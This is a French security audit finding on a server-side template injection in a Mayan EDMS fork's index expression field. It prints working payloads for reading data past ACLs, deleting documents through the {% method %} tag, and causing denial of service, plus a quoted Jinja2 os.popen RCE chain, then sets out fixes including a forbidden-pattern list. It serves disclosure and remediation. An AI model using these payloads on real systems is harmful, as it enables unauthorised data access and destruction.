Sévérité : HIGH
Confiance : 8/10
Statut : OUVERT
Rapport source : security2_report.txt, VULN 4
Fichier principal : mayan/apps/document_indexing/models/index_instance_model_mixins.py:27-31
Le champ IndexTemplateNode.expression est rendu comme un template Django sans sandboxing lors de chaque indexation de document. Un utilisateur disposant de permission_index_template_edit peut injecter des expressions arbitraires qui s'exécutent côté serveur dans le worker Celery, avec accès complet à l'ORM Django.
# index_instance_model_mixins.py:27-31
template = Template(
template_string=index_template_node.expression # ← entrée utilisateur
)
result = template.render(
context={'document': document} # ← contexte ORM complet
)
La classe Template utilisée est mayan.apps.templating.template_backends.Template, qui s'appuie sur django.template.backends.django.DjangoTemplates — le moteur de templates standard Django, sans sandbox supplémentaire.
Les templatetags suivants sont enregistrés comme builtins (toujours disponibles) :
| Templatetag | Fonctions exposées |
|---|---|
templating_datetime_tags |
manipulation de dates |
templating_json_tags |
sérialisation JSON |
templating_math_tags |
opérations mathématiques |
templating_regex_tags |
correspondances regex |
templating_tags |
method, set, range, object_flatten, dictionary_get |
templating_yaml_tags |
sérialisation YAML |
Le rapport mentionne le payload
{{ document.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['os'].popen('id').read() }}. Ce payload est spécifique à Jinja2 et ne fonctionne pas directement via la syntaxe{{ }}de Django.
Le moteur Django résout les variables via _resolve_lookup(). Ce code ne bloque pas explicitement les attributs _ dans la boucle de résolution : il appelle simplement getattr(current, bit). La vraie protection est ailleurs :
alters_data = True : empêche l'auto-appel de méthodes marquées (ex. .delete(), .save()). L'ORM Django marque ces méthodes correctement.do_not_call_in_templates = True : empêche l'auto-appel des callables marqués.Ces protections sont contournées par le tag {% method %} (voir section suivante).
{% method %} activé par défaut# mayan/apps/templating/literals.py
DEFAULT_TEMPLATING_TAGS_DANGEROUS_ALLOW_LIST = 'method'
Le tag method est dans la liste blanche par défaut. Son implémentation :
# templating_tags.py
@register.simple_tag(name='method')
@templating_dangerous_tag(reason=...)
def tag_method(obj, method, *args, **kwargs):
return getattr(obj, method)(*args, **kwargs)
getattr(obj, method)(*args, **kwargs) appelle la méthode sans vérifier alters_data, ce qui contourne la protection ORM de Django.
Prérequis : permission_index_template_edit sur un index.
Déclenchement : automatique lors de l'indexation de tout document du type configuré.
L'objet document dans le contexte donne accès à l'ensemble du graphe ORM :
{# Exfiltrer les labels de tous les documents du même type, sans vérification ACL #}
{% for doc in document.document_type.documents.all %}{{ doc.label }},{% endfor %}
{# Lister les checksums de tous les fichiers #}
{% for doc in document.document_type.documents.all %}
{% for f in doc.files.all %}{{ f.checksum }} {{ f.mimetype }}|{% endfor %}
{% endfor %}
{# Compter les documents dans le système #}
{{ document.document_type.documents.count }}
Impact : bypass ACL complet. Le worker Celery s'exécute avec les droits de la base de données — il n'est pas soumis aux restrictions ACL de l'interface Mayan. Tout document du même type devient lisible.
Le résultat de l'expression est stocké comme valeur de nœud d'index (IndexInstanceNode.value), rendant les données exfiltrées visibles dans l'interface d'indexation.
{% method %} (bypass alters_data)Prérequis : permission_index_template_edit.
Déclenchement : à chaque indexation d'un document du type ciblé.
{# Supprimer le document en cours d'indexation #}
{% method document delete %}
{# Supprimer le dernier fichier attaché au document #}
{% method document.file_latest delete %}
{# Vider la version active d'un document #}
{% method document.version_active delete %}
document.delete() dans Mayan est un soft-delete vers la corbeille (flag is_stub ou TrashedDocument). Un attaquant peut donc déclencher la mise en corbeille systématique de tous les documents indexés par un type.
Preuve que alters_data est contourné : le moteur Django protège l'auto-appel via {{ document.delete }} car delete a alters_data = True dans l'ORM. Mais {% method document delete %} appelle getattr(document, 'delete')() directement, sans ce contrôle.
{# Charge tous les fichiers de tous les documents de tous les types #}
{% for dtype in document.document_type.documents.all %}
{% for doc in dtype.document_type.documents.all %}
{% for f in doc.files.all %}{{ f.size }}{% endfor %}
{% endfor %}
{% endfor %}
Déclenché sur chaque indexation, provoque des milliers de requêtes SQL et épuise les workers Celery.
{% debug %}{% debug %}
Affiche le contexte complet du template, incluant l'objet document et tous ses attributs accessibles. Le résultat est stocké dans IndexInstanceNode.value.
object_flatten{{ document|object_flatten }}
Le filtre object_flatten (de templating_tags) sérialise récursivement tous les attributs publics de l'objet en un dictionnaire plat avec le séparateur __. Il expose :
document__label, document__description, document__date_addeddocument__document_type__labeldocument__version_active__commentLe rapport cite un payload Jinja2 (__class__.__mro__[1].__subclasses__()...). En Django template, le chemin vers RCE est différent mais existe via {% method %} :
getattr(document, '__class__') retourne <class 'Document'>. Via {% method %} :
{% method document __class__ %}
Cela appelle document.__class__() — tente d'instancier un Document vide (échoue, mais l'accès à __class__ est confirmé contournable).
os via l'introspection PythonLe chemin classique depuis une instance Django vers os passe par :
document.__class__.__mro__[-1] # → object
object.__subclasses__() # → liste de toutes les classes chargées
# Chercher subprocess.Popen dans cette liste
Avec {% method %}, le chaînage est limité car chaque appel produit un résultat rendu sous forme de chaîne. Il faudrait une séquence de {% with %} et {% method %} pour conserver les objets Python intermédiaires.
Faisabilité : complexe à exploiter de manière fiable en raison du rendu-en-chaîne à chaque étape. L'impact pratique maximal confirmé reste l'Exploit 2 (suppression ORM) et l'Exploit 1 (exfiltration).
Acteur : utilisateur interne avec permission_index_template_edit
Cible : tous les documents de type "Factures"
1. L'attaquant navigue vers Administration > Index > [index ciblé] > Arbre du gabarit
2. Il édite un nœud existant (ou en crée un) et entre comme expression :
{% for doc in document.document_type.documents.all %}{{ doc.label }},{{ doc.pk }}|{% endfor %}
3. Il déclenche une reconstruction de l'index (bouton "Reconstruire" ou attends l'indexation automatique)
4. La tâche Celery task_index_instance_document_add s'exécute pour chaque document "Factures"
5. Pour chaque document, l'expression est rendue avec {'document': <Document>}
6. La QuerySet document.document_type.documents.all() retourne TOUS les documents
de type "Factures" sans filtrage ACL
7. Le résultat (labels + PKs) est stocké dans IndexInstanceNode.value
8. L'attaquant consulte l'arbre d'index dans l'interface → liste complète exfiltrée
Durée totale : < 5 minutes avec accès à l'interface admin des index.
| Condition | Détail |
|---|---|
| Authentification | Oui — utilisateur Mayan valide |
| Permission | permission_index_template_edit sur au moins un index |
| Déclenchement | Manuel (rebuild) ou automatique (upload document) |
| Accès réseau | Interface web Mayan uniquement |
| Configuration spéciale | Aucune — method tag activé par défaut |
Utiliser Jinja2 avec sandbox (jinja2.sandbox.SandboxedEnvironment) au lieu du moteur Django standard :
# mayan/apps/templating/template_backends.py
from jinja2.sandbox import SandboxedEnvironment
class Template:
def render(self, context=None):
env = SandboxedEnvironment()
tmpl = env.from_string(self.template_string)
return tmpl.render(context or {})
Le SandboxedEnvironment de Jinja2 bloque explicitement l'accès aux attributs _, aux attributs dangereux, et aux opérations destructrices.
Limiter les variables disponibles dans le contexte d'indexation à un dictionnaire plat sans accès aux relations ORM :
# index_instance_model_mixins.py
safe_context = {
'document_label': document.label,
'document_type_label': document.document_type.label,
'document_date_added': document.date_added,
'document_pk': document.pk,
}
result = template.render(context=safe_context)
method de la liste blanche par défaut# mayan/apps/templating/literals.py
DEFAULT_TEMPLATING_TAGS_DANGEROUS_ALLOW_LIST = '' # vide par défaut
Documenter explicitement que l'activation de method constitue un risque d'exécution de code.
# IndexTemplateNode.clean() ou IndexTemplateNodeForm
FORBIDDEN_PATTERNS = ['__', 'method', 'debug', 'load', 'include']
def clean_expression(self):
expression = self.cleaned_data['expression']
for pattern in FORBIDDEN_PATTERNS:
if pattern in expression:
raise ValidationError(f"Expression interdite : '{pattern}'")
return expression
| Élément | Localisation |
|---|---|
| Code vulnérable | mayan/apps/document_indexing/models/index_instance_model_mixins.py:27-31 |
| Classe Template | mayan/apps/templating/template_backends.py |
Tag method |
mayan/apps/templating/templatetags/templating_tags.py |
| Liste blanche par défaut | mayan/apps/templating/literals.py:1 (DEFAULT_TEMPLATING_TAGS_DANGEROUS_ALLOW_LIST = 'method') |
Django _resolve_lookup |
venv/.../django/template/base.py:876 |
| Permission requise | permission_index_template_edit (mayan/apps/document_indexing/permissions.py:15) |
| Rapport original | security2_report.txt, VULN 4 |
Analysé le 2026-04-29 — Fork 4.11.1+egyptian.1, branche egyptian.